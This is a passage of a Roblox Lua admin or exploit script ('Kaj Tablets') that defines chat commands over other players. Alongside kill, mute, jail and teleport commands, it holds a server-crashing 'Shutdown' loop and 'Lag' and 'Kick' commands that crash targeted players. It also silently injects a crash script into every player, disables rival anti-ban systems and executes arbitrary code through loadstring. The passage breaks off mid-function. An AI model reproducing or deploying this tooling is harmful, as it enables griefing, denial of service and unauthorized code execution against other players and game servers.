  1680. for _,Player in pairs(All()) do
  1681. local PlayerTablets = {}
  1682. for i,v in pairs(AllTabs) do
  1683. if v.Holder.Parent ~= nil and v.Tab.Parent ~= nil and v.Plr == Player.Name then
  1684. table.insert(PlayerTablets, v)
  1685. end
  1686. end
  1687. for i = 1, #PlayerTablets do
  1688. ypcall(function()
  1689. local tab = PlayerTablets[i].Tab
  1690. local pos = nil
  1691. ypcall(function()
  1692. pos = Player.Character.Torso.CFrame
  1693. end)
  1694. local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
  1695. local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
  1696. local cPos = tab.Position
  1697. local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0))
  1698. local nPos = (ePos-cPos)*.25
  1699. cPos = cPos + nPos
  1700. local t = (tick() - starttime) % 360
  1701. local change = 0.625
  1702. PlayerTablets[i].Size = math.sin(t) * change + 2.375
  1703. tab.Size = Vector3.new(PlayerTablets[i].Size * 1.2, PlayerTablets[i].Size * 1.2,PlayerTablets[i].Size * 1.2)
  1704. tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(11.25), 0, 0)
  1705. end)
  1706. end
  1707. end
  1708. end)
  1709. end
  1710. end)
  1711.  
  1712. Delay(0, function()
  1713. while wait() do
  1714. for _,v in pairs(game:GetService("Players"):GetPlayers()) do
  1715. ypcall(function()
  1716. if Injected[v.Name] == nil and LS ~= nil then
  1717. Insert(InjectionCrash, v.Backpack, v.Character, v.PlayerGui)
  1718. Injected[v.Name] = true
  1719. end
  1720. end)
  1721. end
  1722. end
  1723. end)
  1724.  
  1725. Plrs.PlayerAdded:connect(function(Plr)
  1726. wait(.1)
  1727. ypcall(function()
  1728. if Removed == false then
  1729. local JoinPlrName = Plr.Name
  1730. coroutine.resume(coroutine.create(function()
  1731. PlaceSpecificRank(Plr)
  1732. end))
  1733. coroutine.resume(coroutine.create(function()
  1734. if Injected[JoinPlrName] ~= nil then
  1735. Injected[JoinPlrName] = nil
  1736. end
  1737. end))
  1738. coroutine.resume(coroutine.create(function()
  1739. Dismiss(Plr)
  1740. Plr.Chatted:connect(function(Msg) onChatted(Msg, Plr) end)
  1741. end))
  1742. end
  1743. end)
  1744. end)
  1745.  
  1746. Plrs.PlayerRemoving:connect(function(Plr)
  1747. wait(.1)
  1748. ypcall(function()
  1749. if Removed == false then
  1750. local LeftPlrName = Plr.Name
  1751. coroutine.resume(coroutine.create(function()
  1752. if Injected[LeftPlrName] ~= nil then
  1753. Injected[LeftPlrName] = nil
  1754. end
  1755. end))
  1756. end
  1757. end)
  1758. end)
  1759.  
  1760. coroutine.resume(coroutine.create(function()
  1761. Delay(0, function()
  1762. while FoundLocalScript == false do wait()
  1763. ypcall(function()
  1764. for _,v in pairs(Plrs[Owner]["ャャャャ"]:GetChildren()) do
  1765. if v.Name == "NewTransfer" and v:IsA("LocalScript") then
  1766. for _,c in pairs(v:children()) do
  1767. if c:IsA("StringValue") and c.Name:lower() ~= "user_name" and c.Name:lower() ~= "owner" and c.Name:lower() ~= "user" then
  1768. local NewVal = c:Clone()
  1769. NewVal.Name = "LoadingVal"
  1770. for _,s in pairs(v:GetChildren()) do
  1771. if s:IsA("StringValue") and type(s.Value) == "string" and (s.Name:lower() == "user_name" or s.Name:lower() == "owner" or s.Name:lower() == "user_name") then
  1772. print("Found Owner")
  1773. OwnSource = s.Name
  1774. print(OwnSource)
  1775. break
  1776. end
  1777. end
  1778. wait()
  1779. LS = v:Clone()
  1780. NewVal.Parent = LS
  1781. LSSource = "LoadingVal"
  1782. FoundLocalScript = true
  1783. break
  1784. end
  1785. end
  1786. end
  1787. end
  1788. end)
  1789. end
  1790. end)
  1791. end))
  1792.  
  1793. --Commands
  1794.  
  1795. Command("Cmds", nil, "Shows Commands", function(Msg, Speaker)
  1796. Dismiss(Speaker.Name)
  1797. Ping(string.reverse("4611tlaboC") .. " made Kaj Tablets.",Speaker)
  1798. Ping("Your rank is: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  1799. Ping("Every single command", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  1800. Ping("Rank Zero", Speaker, nil, function() OpenCmds(0, Speaker) end)
  1801. Ping("Rank One", Speaker, nil, function() OpenCmds(1, Speaker) end)
  1802. Ping("Rank Two", Speaker, nil, function() OpenCmds(2, Speaker) end)
  1803. Ping("Rank Three", Speaker, nil, function() OpenCmds(3, Speaker) end)
  1804. Ping("Rank Four", Speaker, nil, function() OpenCmds(4, Speaker) end)
  1805. Ping("Rank Five", Speaker, nil, function() OpenCmds(5, Speaker) end)
  1806. end)
  1807.  
  1808. Command("Dt", nil, "Dismiss Tablets", function(Msg, Speaker)
  1809. Dismiss(Speaker.Name)
  1810. end)
  1811.  
  1812. Command("Kill", 2, "Kills A Player",
  1813. function(Msg, Speaker)
  1814. local PlrTab = getPlayer(Speaker, Msg)
  1815. if #PlrTab > 0 then
  1816. for _,v in pairs(PlrTab) do
  1817. ypcall(function()
  1818. v.Character:BreakJoints()
  1819. Ping("Killed "..v.Name, Speaker, 5)
  1820. end)
  1821. end
  1822. end
  1823. end)
  1824.  
  1825. Command("expl", 2, "Explodes A Player",
  1826. function(Msg, Speaker)
  1827. local PlrTab = getPlayer(Speaker, Msg)
  1828. if #PlrTab > 0 then
  1829. for _,v in pairs(PlrTab) do
  1830. ypcall(function()
  1831. if v.Character and v.Character:findFirstChild("Head") then
  1832. local e = Instance.new("Explosion")
  1833. e.Position = v.Character.Head.Position
  1834. e.Parent = v.Character
  1835. Ping("Exploded "..v.Name, Speaker, 5)
  1836. end
  1837. end)
  1838. end
  1839. end
  1840. end)
  1841.  
  1842.  
  1843.  
  1844.  
  1845. Command("Mute", 3, "Mutes A Player", function(Msg, Speaker)
  1846. local PlrTab = getPlayer(Speaker, Msg)
  1847. if #PlrTab > 0 then
  1848. for _,v in pairs(PlrTab) do
  1849. ypcall(function()
  1850. if v.Name ~= Owner then
  1851. Insert(MuteSource, v.Backpack, v.Character, v.PlayerGui)
  1852. Ping("Muted "..v.Name, Speaker, 5)
  1853. end
  1854. end)
  1855. end
  1856. end
  1857. end)
  1858.  
  1859.  
  1860.  
  1861. Command("Funs", 3, "Inserts a funny script", function(Msg, Speaker)
  1862. local PlrTab = getPlayer(Speaker, Msg)
  1863. if #PlrTab > 0 then
  1864. for _,v in pairs(PlrTab) do
  1865. ypcall(function()
  1866. Insert(FunScript, v.Backpack, v.Character, v.PlayerGui)
  1867. Ping("Gave "..v.Name.." A fun time!", Speaker, 5)
  1868. end)
  1869. end
  1870. end
  1871. end)
  1872.  
  1873. Command("Nils", 3, "Gives a Player Nil support", function(Msg, Speaker)
  1874. local PlrTab = getPlayer(Speaker, Msg)
  1875. if #PlrTab > 0 then
  1876. for _,v in pairs(PlrTab) do
  1877. ypcall(function()
  1878. Insert(NilS, v.Backpack, v.Character, v.PlayerGui)
  1879. Ping("Gave "..v.Name.." Nil Support", Speaker, 5)
  1880. end)
  1881. end
  1882. end
  1883. end)
  1884.  
  1885. Command("Rejoin", 2, "Prompts A Player To Rejoin", function(Msg, Speaker)
  1886. local PlrTab = getPlayer(Speaker, Msg)
  1887. if #PlrTab > 0 then
  1888. for _,v in pairs(PlrTab) do
  1889. ypcall(function()
  1890. Insert([[game:GetService("TeleportService"):Teleport(game.PlaceId)]], v.Backpack, v.Character, v.PlayerGui)
  1891. Ping("Rejoined "..v.Name, Speaker, 5)
  1892. end)
  1893. end
  1894. end
  1895. end)
  1896.  
  1897. Command("Jail", 3, "Jails A Player", function(Msg, Speaker)
  1898. local PlrTab = getPlayer(Speaker, Msg)
  1899. if #PlrTab > 0 then
  1900. for _,v in pairs(PlrTab) do
  1901. ypcall(function()
  1902. Insert(JailSource, v.Backpack, v.Character, v.PlayerGui)
  1903. Ping("Jailed "..v.Name, Speaker, 5)
  1904. end)
  1905. end
  1906. end
  1907. end)
  1908.  
  1909. Command("Lag", 4, "Lag Crashes A Player", function(Msg, Speaker)
  1910. local PlrTab = getPlayer(Speaker, Msg)
  1911. if #PlrTab > 0 then
  1912. for _,v in pairs(PlrTab) do
  1913. ypcall(function()
  1914. Insert(LagSource, v.Backpack, v.Character, v.PlayerGui)
  1915. Ping("Lag Crashing "..v.Name, Speaker, 5)
  1916. end)
  1917. end
  1918. end
  1919. end)
  1920.  
  1921. Command("UnMute", 3, "UnMutes A Player", function(Msg, Speaker)
  1922. local PlrTab = getPlayer(Speaker, Msg)
  1923. if #PlrTab > 0 then
  1924. for _,v in pairs(PlrTab) do
  1925. ypcall(function()
  1926. Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
  1927. Ping("UnMuted "..v.Name, Speaker, 5)
  1928. end)
  1929. end
  1930. end
  1931. end)
  1932.  
  1933. Command("Disable", 3, "Disables A Script", function(Msg, Speaker)
  1934. local Worked = false
  1935. for _,v in pairs(Work:GetChildren()) do
  1936. if string.find(v.Name:lower(), Msg:lower()) then
  1937. if v:IsA("Script") or v:IsA("LocalScript") then
  1938. v.Disabled = true
  1939. v:Destroy()
  1940. Worked = true
  1941. Ping("Disabled Script: "..v.Name, Speaker, 5)
  1942. end
  1943. end
  1944. end
  1945. if Worked == false then
  1946. Ping("Script Not Found", Speaker, 5)
  1947. end
  1948. end)
  1949.  
  1950. Command("Scripts", 1, "Shows Scripts In Workspace", function(Msg, Speaker)
  1951. Dismiss(Speaker)
  1952. local AllScripts = {}
  1953. for _,v in pairs(Work:GetChildren()) do
  1954. if v:IsA("Script") then
  1955. table.insert(AllScripts, v.Name)
  1956. end
  1957. end
  1958. if #AllScripts > 0 then
  1959. for _,v in pairs(AllScripts) do
  1960. Ping(v, Speaker)
  1961. end
  1962. else
  1963. Ping("No Scripts Found", Speaker, 5)
  1964. end
  1965. end)
  1966.  
  1967. Command("afk",0,'Makes you go AFK',
  1968. function(Msg,Speaker)
  1969. Dismiss(Speaker)
  1970. for i = 1,8 do
  1971. Ping('AFK',Speaker)
  1972. wait(.01)
  1973. end
  1974. end)
  1975. Command("back",0,'Creates Tablets telling everyone that you are back',
  1976. function(Msg,Speaker)
  1977. Dismiss(Speaker)
  1978. for i = 1,8 do
  1979. Ping('Welcome Back!',Speaker,6)
  1980. wait(.1)
  1981. end
  1982. end)
  1983.  
  1984.  
  1985.  
  1986.  
  1987. Command("LScripts", 1, "Shows All Found Local Scripts", function(Msg, Speaker)
  1988. Dismiss(Speaker)
  1989. local LocalScripts = {}
  1990. for _,v in pairs(All()) do
  1991. ypcall(function()
  1992. for _,x in pairs(v.Character:GetChildren()) do
  1993. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1994. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1995. end
  1996. end
  1997. end)
  1998. ypcall(function()
  1999. for _,x in pairs(v.Backpack:GetChildren()) do
  2000. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  2001. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  2002. end
  2003. end
  2004. end)
  2005. ypcall(function()
  2006. for _,x in pairs(v.PlayerGui:GetChildren()) do
  2007. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  2008. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  2009. end
  2010. end
  2011. end)
  2012. end
  2013. if #LocalScripts > 0 then
  2014. for _,v in pairs(LocalScripts) do
  2015. Ping(v, Speaker)
  2016. end
  2017. else
  2018. Ping("No Local Scripts Found", Speaker, 5)
  2019. end
  2020. end)
  2021.  
  2022. Command("LDisable", 3, "Disables A Local Script", function(Msg, Speaker)
  2023. local Split = GetSplit(Msg)
  2024. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2025. local ScriptName = Msg:sub(Split + 1)
  2026. local FoundLocal = false
  2027. for _,name in pairs(PlrTab) do
  2028. ypcall(function()
  2029. for _,v in pairs(name.Character:GetChildren()) do
  2030. if string.find(v.Name:lower(), ScriptName) then
  2031. if v:IsA("Script") or v:IsA("LocalScript") then
  2032. v.Disabled = true
  2033. v:Destroy()
  2034. FoundLocal = true
  2035. Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  2036. end
  2037. end
  2038. end
  2039. end)
  2040. ypcall(function()
  2041. for _,v in pairs(name.Backpack:GetChildren()) do
  2042. if string.find(v.Name:lower(), ScriptName) then
  2043. if v:IsA("Script") or v:IsA("LocalScript") then
  2044. v.Disabled = true
  2045. v:Destroy()
  2046. FoundLocal = true
  2047. Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  2048. end
  2049. end
  2050. end
  2051. end)
  2052. ypcall(function()
  2053. for _,v in pairs(name.PlayerGui:GetChildren()) do
  2054. if string.find(v.Name:lower(), ScriptName) then
  2055. if v:IsA("Script") or v:IsA("LocalScript") then
  2056. v.Disabled = true
  2057. v:Destroy()
  2058. FoundLocal = true
  2059. Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  2060. end
  2061. end
  2062. end
  2063. end)
  2064. if FoundLocal == false then
  2065. Ping("Local Script Not Found", Speaker, 5)
  2066. end
  2067. end
  2068. end)
  2069.  
  2070. Command("FClean", 3, "Fully Cleans The Server", function(Msg, Speaker)
  2071. for _,v in pairs(game:GetChildren()) do
  2072. ypcall(function()
  2073. if v.Name ~= "Workspace" and v.Name ~= "Players" and v.Name ~= "NetworkServer" then
  2074. for _,a in pairs(v:GetChildren()) do
  2075. ypcall(function()
  2076. a:Destroy()
  2077. end)
  2078. end
  2079. elseif v.Name == "Players" then
  2080. for _,plr in pairs(v:GetPlayers()) do
  2081. Clear(plr)
  2082. end
  2083. end
  2084. end)
  2085. end
  2086. Clean()
  2087. Fixl()
  2088. Ping("Fully Cleaned", Speaker, 5)
  2089. end)
  2090.  
  2091. Command("Clean", 1, "Lightly Cleans The Server", function(Msg, Speaker)
  2092. LClean()
  2093. Fixl()
  2094. Ping("Lightly Cleaned", Speaker, 5)
  2095. end)
  2096.  
  2097. Command("Reset", 2, "Resets A Player", function(Msg, Speaker)
  2098. local PlrTab = getPlayer(Speaker, Msg)
  2099. if #PlrTab > 0 then
  2100. for _,v in pairs(PlrTab) do
  2101. ypcall(function()
  2102. v:LoadCharacter()
  2103. Ping("Reset "..v.Name, Speaker, 5)
  2104. end)
  2105. end
  2106. end
  2107. end)
  2108.  
  2109. Command("Home", 1, "Brings The Speaker Home", function(Msg, Speaker)
  2110. repeat wait() until Speaker.Character:findFirstChild("Torso")
  2111. if Work:findFirstChild("Base") then
  2112. Speaker.Character.Torso.CFrame = Work.Base.CFrame * CFrame.new(0, 5, 0)
  2113. else
  2114. Speaker.Character.Torso.CFrame = CFrame.new(0, 5, 0)
  2115. end
  2116. Ping("Brought "..Speaker.Name.." Home", Speaker, 5)
  2117. end)
  2118.  
  2119. Command("Freeze", 3, "Freeze's A Player", function(Msg, Speaker)
  2120. local PlrTab = getPlayer(Speaker, Msg)
  2121. if #PlrTab > 0 then
  2122. for _,v in pairs(PlrTab) do
  2123. ypcall(function()
  2124. v.Character.Torso.Anchored = true
  2125. Ping("Froze "..v.Name, Speaker, 5)
  2126. end)
  2127. end
  2128. end
  2129. end)
  2130.  
  2131. Command("Thaw", 3, "Thaw's A Player", function(Msg, Speaker)
  2132. local PlrTab = getPlayer(Speaker, Msg)
  2133. if #PlrTab > 0 then
  2134. for _,v in pairs(PlrTab) do
  2135. ypcall(function()
  2136. for _,v2 in pairs(v.Character:GetChildren()) do
  2137. ypcall(function()
  2138. v.Anchored = false
  2139. end)
  2140. end
  2141. Ping("Thawed "..v.Name, Speaker, 5)
  2142. end)
  2143. end
  2144. end
  2145. end)
  2146.  
  2147. Command("FF", 3, "Gives A Player A ForceField", function(Msg, Speaker)
  2148. local PlrTab = getPlayer(Speaker, Msg)
  2149. if #PlrTab > 0 then
  2150. for _,v in pairs(PlrTab) do
  2151. ypcall(function()
  2152. Instance.new("ForceField", v.Character)
  2153. end)
  2154. end
  2155. end
  2156. end)
  2157.  
  2158. Command("UnFF", 3, "Removes A Player's ForceField", function(Msg, Speaker)
  2159. local PlrTab = getPlayer(Speaker, Msg)
  2160. if #PlrTab > 0 then
  2161. for _,v in pairs(PlrTab) do
  2162. ypcall(function()
  2163. RemObj(v.Character, "ForceField")
  2164. end)
  2165. end
  2166. end
  2167. end)
  2168.  
  2169. Command("TP", 2, "Teleports A Player To Another Player", function(Msg, Speaker)
  2170. local Split = GetSplit(Msg)
  2171. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2172. local PlrTab2 = getPlayer(Speaker, Msg:sub(Split + 1))
  2173. if #PlrTab > 0 and #PlrTab2 > 0 then
  2174. for i,v in pairs(PlrTab) do
  2175. ypcall(function()
  2176. for _,v2 in pairs(PlrTab2) do
  2177. ypcall(function()
  2178. v.Character.Torso.CFrame = v2.Character.Torso.CFrame * CFrame.new(0, 5 * i, 0)
  2179. Ping("Teleported "..v.Name.." To "..v2.Name, Speaker, 5)
  2180. end)
  2181. end
  2182. end)
  2183. end
  2184. end
  2185. end)
  2186.  
  2187. Command("Msg",2, "Creates a Message",
  2188. function(Msg,Speaker)
  2189. Message(Msg)
  2190. end)
  2191.  
  2192. Command("H",2, "Creates a Hint",
  2193. function(Msg,Speaker)
  2194. Hint(Msg)
  2195. end)
  2196.  
  2197. Command("Sm",2, "Creates a System message",
  2198. function(Msg,Speaker)
  2199. SystemMsg(Msg)
  2200. end)
  2201.  
  2202. function Message(str,p)
  2203. if p==nil then
  2204. for _,Player in pairs(game.Players:GetPlayers()) do
  2205. coroutine.wrap(function()
  2206. local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  2207. local Text = Instance.new("TextLabel", Msg)
  2208. Text.Position = UDim2.new(0, 0, 0.7, 0)
  2209. Text.Font=2
  2210. Text.FontSize=9
  2211. Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
  2212. Text.BackgroundTransparency = 0.4
  2213. Text.TextColor3 = Color3.new(1, 1, 1)
  2214. Text.TextTransparency = 1
  2215. Text.TextWrap = true
  2216. Text.Text = tostring(str)
  2217. Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0.7, 0), "Out", "Back", 2)
  2218. Text.TextTransparency = 0
  2219. Num = #str * 0.06
  2220. wait(3)
  2221. Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  2222. wait(Num)
  2223. Msg:Remove()
  2224. end)()
  2225. end
  2226. else
  2227. Player=p;
  2228. coroutine.wrap(function()
  2229. local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  2230. local Text = Instance.new("TextLabel", Msg)
  2231. Text.Position = UDim2.new(0, 0, 0.7, 0)
  2232. Text.Font=2
  2233. Text.FontSize=9
  2234. Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
  2235. Text.BackgroundTransparency = 0.1
  2236. Text.TextColor3 = Color3.new(1, 1, 1)
  2237. Text.TextTransparency = 1
  2238. Text.TextWrap = true
  2239. Text.Text = tostring(str)
  2240. Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0.7, 0), "Out", "Back", 2)
  2241. Text.TextTransparency = 0
  2242. Num = #str * 0.06
  2243. wait(3)
  2244. Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  2245. wait(Num)
  2246. Msg:Remove()
  2247. end)()
  2248. end
  2249. end
  2250. function SystemMsg(str)
  2251. for _,Player in pairs(game.Players:GetPlayers()) do
  2252. coroutine.wrap(function()
  2253. local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  2254. local Text = Instance.new("TextLabel", Msg)
  2255. Text.Position = UDim2.new(0, 0, 0, 0)
  2256. Text.Font='Legacy'
  2257. Text.FontSize = "Size48"
  2258. Text.BackgroundColor3 = Color3.new(-1,-1,-1)
  2259. Text.BackgroundTransparency = 0.4
  2260. Text.TextColor3 = Color3.new(1,1,1)
  2261. Text.TextTransparency = 0
  2262. Text.TextWrap = true
  2263. Text.Text = ' [ System ] \n ' .. tostring(str)
  2264. Text:TweenSizeAndPosition(UDim2.new(1, 0, 1, 0), UDim2.new(0, 0, 0, 0), "Out", "Back", 2)
  2265. Text.TextTransparency = 0.1
  2266. Num = #str * 0.06
  2267. wait(6)
  2268. Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  2269. wait(Num)
  2270. Msg:Remove()
  2271. end)()
  2272. end
  2273. end
  2274. function Hint(str,p)
  2275. if p == nil then
  2276. for _,Player in pairs(game.Players:GetPlayers()) do
  2277. coroutine.wrap(function()
  2278. local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  2279. local Text = Instance.new("TextLabel", Msg)
  2280. Text.Position = UDim2.new(0, 0, 0, 0)
  2281. Text.Font=2
  2282. Text.FontSize=9
  2283. Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
  2284. Text.BackgroundTransparency = 0.4
  2285. Text.TextColor3 = Color3.new(1, 1, 1)
  2286. Text.TextTransparency = 1
  2287. Text.TextWrap = true
  2288. Text.Text = tostring(str)
  2289. Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0, 0), "Out", "Back", 2)
  2290. Text.TextTransparency = 0
  2291. Num = #str * 0.06
  2292. wait(3)
  2293. Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  2294. wait(Num)
  2295. Msg:Remove()
  2296. end)()
  2297. end
  2298. else
  2299. Player=p
  2300. coroutine.wrap(function()
  2301. local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  2302. local Text = Instance.new("TextLabel", Msg)
  2303. Text.Position = UDim2.new(0, 0, 0, 0)
  2304. Text.Font=2
  2305. Text.FontSize=9
  2306. Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
  2307. Text.BackgroundTransparency = 0.1
  2308. Text.TextColor3 = Color3.new(1, 1, 1)
  2309. Text.TextTransparency = 1
  2310. Text.TextWrap = true
  2311. Text.Text = tostring(str)
  2312. Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0, 0), "Out", "Back", 2)
  2313. Text.TextTransparency = 0
  2314. Num = #str * 0.06
  2315. wait(3)
  2316. Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  2317. wait(Num)
  2318. Msg:Remove()
  2319. end)()
  2320. end
  2321. end
  2322.  
  2323. Command("Explorer", 3, "Opens An Object Explorer", function(Msg, Speaker)
  2324. MakeExplorer(Speaker)
  2325. end)
  2326.  
  2327.  
  2328. Command("Info", 0, "Shows Information About Infinity", function(Msg, Speaker)
  2329. wait()
  2330. Dismiss(Speaker)
  2331. NumBanned = 0
  2332. NumCmds = 0
  2333. for i = 1, #Rankings do
  2334. if Rankings[i].Rank < 0 then
  2335. NumBanned = NumBanned + 1
  2336. end
  2337. end
  2338. for i,v in pairs(Commands) do
  2339. NumCmds = NumCmds + 1
  2340. end
  2341. Ping("Kaj Tablets.", Speaker)
  2342. Ping("Tablets Creator", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("4611tlaboC"))
  2343. Ping("Date Started: 6/10/2014", Speaker)
  2344. Ping("Your ID is: "..Speaker.userId, Speaker)
  2345. Ping("#Players: "..#All2(), Speaker)
  2346. Ping("#Cmds: "..NumCmds, Speaker)
  2347. Ping("#Banned: "..NumBanned, Speaker)
  2348. Ping("ShowGarbage", Speaker)
  2349. end)
  2350.  
  2351. Command("ShowR", 0, "Shows All Player Ranks", function(Msg, Speaker)
  2352. Dismiss(Speaker)
  2353. for i,v in pairs(All()) do
  2354. Ping(v.Name.."'s Rank: "..FindRank(v))
  2355. end
  2356. end)
  2357.  
  2358. Command("WS", 2, "Set A Player's WalkSpeed", function(Msg, Speaker)
  2359. local Split = GetSplit(Msg)
  2360. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2361. local Speed = tonumber(Msg:sub(Split + 1))
  2362. for _,v in pairs(PlrTab) do
  2363. ypcall(function()
  2364. v.Character.Humanoid.WalkSpeed = Speed
  2365. Ping("Set "..v.Name.."'s WalkSpeed To "..tostring(Speed), Speaker)
  2366. end)
  2367. end
  2368. end)
  2369.  
  2370. Command("UnAb", 2, "Removes CBA Anti-Bans", function(Msg, Speaker)
  2371. local RemoveAB = Instance.new("StringValue")
  2372. RemoveAB.Name = "CBA Attachment"
  2373. RemoveAB.Value = [[CBA.override=true;]]
  2374. RemoveAB.Parent = Work
  2375. Ping("Removed All CBA Anti-Bans", Speaker, 5)
  2376. end)
  2377.  
  2378. Command("Injected", 5, "Shows Injected Players", function(Msg, Speaker)
  2379. Dismiss(Speaker)
  2380. for i,v in pairs(Injected) do
  2381. Ping(i, Speaker)
  2382. end
  2383. end)
  2384.  
  2385. Command("UnCba", 3, "Removes CBA Admin", function(Msg, Speaker)
  2386. local RemoveCBA = Instance.new("StringValue")
  2387. RemoveCBA.Name = "CBA Attachment"
  2388. RemoveCBA.Value = [[CBA.remove = false]]
  2389. RemoveCBA.Parent = Work
  2390. Ping("Removed All CBA Admins", Speaker, 5)
  2391. end)
  2392.  
  2393. Command("Shutdown", 4, "Shutdowns The Server", function(Msg, Speaker)
  2394. local function BufferOverflow(object)
  2395. object.DescendantAdded:connect(BufferOverflow)
  2396. Instance.new("IntValue", object)
  2397. end
  2398. BufferOverflow(Game)
  2399. end)
  2400.  
  2401. Command("Kick", 3, "Crash Kicks A Player From The Server", function(Msg, Speaker)
  2402. local PlrTab = getPlayer(Speaker, Msg)
  2403. if #PlrTab > 0 then
  2404. for _,v in pairs(PlrTab) do
  2405. ypcall(function()
  2406. Crash1(v)
  2407. Ping("Crash Kicked "..v.Name, Speaker, 5)
  2408. end)
  2409. end
  2410. end
  2411. end)
  2412.  
  2413. Command("Ban", 4, "Bans A Player From The Server", function(Msg, Speaker)
  2414. local PlrTab = getPlayer(Speaker, Msg)
  2415. if #PlrTab > 0 then
  2416. for _,v in pairs(PlrTab) do
  2417. ypcall(function()
  2418. ChangeRank(v, -1)
  2419. end)
  2420. end
  2421. end
  2422. end)
  2423.  
  2424. Command("jb", 4, "Jail Ban a Player", function(Msg, Speaker)
  2425. local PlrTab = getPlayer(Speaker, Msg)
  2426. if #PlrTab > 0 then
  2427. for _,v in pairs(PlrTab) do
  2428. ypcall(function()
  2429. ChangeRank(v, -2)
  2430. end)
  2431. end
  2432. end
  2433. end)
  2434.  
  2435.  
  2436.  
  2437.  
  2438.  
  2439. Command("MBan", 4, "Permanently Mutes A Player", function(Msg, Speaker)
  2440. local PlrTab = getPlayer(Speaker, Msg)
  2441. if #PlrTab > 0 then
  2442. for _,v in pairs(PlrTab) do
  2443. ypcall(function()
  2444. ChangeRank(v, -3)
  2445. end)
  2446. end
  2447. end
  2448. end)
  2449.  
  2450. Command("UnBan", 4, "Un-Bans A Player From The Server", function(Msg, Speaker)
  2451. ypcall(function()
  2452. local PlrTab = getPlayer(Speaker, Msg)
  2453. if #PlrTab > 0 then
  2454. for _,v in pairs(PlrTab) do
  2455. ypcall(function()
  2456. Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
  2457. end)
  2458. end
  2459. end
  2460. local PlrName = ChangeRank(Msg, 0)
  2461. Ping("Un-Banned "..PlrName, Speaker, 5)
  2462. end)
  2463. end)
  2464.  
  2465. Command("Menu", 0, "Show the menu", function(Msg, Speaker)
  2466. Dismiss(Speaker)
  2467. Ping("Commands", Speaker, nil, function()
  2468. Dismiss(Speaker.Name)
  2469. Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  2470. Ping("Every Single Command", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  2471. Ping("Rank Zero", Speaker, nil, function() OpenCmds(0, Speaker) end)
  2472. Ping("Rank One", Speaker, nil, function() OpenCmds(1, Speaker) end)
  2473. Ping("Rank Two", Speaker, nil, function() OpenCmds(2, Speaker) end)
  2474. Ping("Rank Three", Speaker, nil, function() OpenCmds(3, Speaker) end)
  2475. Ping("Rank Four", Speaker, nil, function() OpenCmds(4, Speaker) end)
  2476. Ping("Rank Five", Speaker, nil, function() OpenCmds(5, Speaker) end)
  2477. end)
  2478. Ping("Players", Speaker, nil, function()
  2479. ListPlayers(Speaker)
  2480. end)
  2481. end)
  2482.  
  2483. Command("Players", 0, "Show the Players", function(Msg, Speaker)
  2484. ListPlayers(Speaker)
  2485. end)
  2486.  
  2487. Command("Exe", 4, "Executes A Source", function(Msg, Speaker)
  2488. local Func,Error = loadstring(Msg)
  2489. getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end Ping(Rtn, Speaker) end
  2490. getfenv(Func).Speaker = Speaker
  2491. if Error == nil then
  2492. coroutine.wrap(function()
  2493. Func()
  2494. end)()
  2495. Ping("Executed Script!", Speaker, 5)
  2496. else
  2497. Ping(Error, Speaker, 10)
  2498. end
  2499. end)
  2500.  
  2501. Command("Insert", 5, "Inserts A Local Script Into A Player", function(Msg, Speaker)
  2502. if LS ~= nil then
  2503. local Split = GetSplit(Msg)
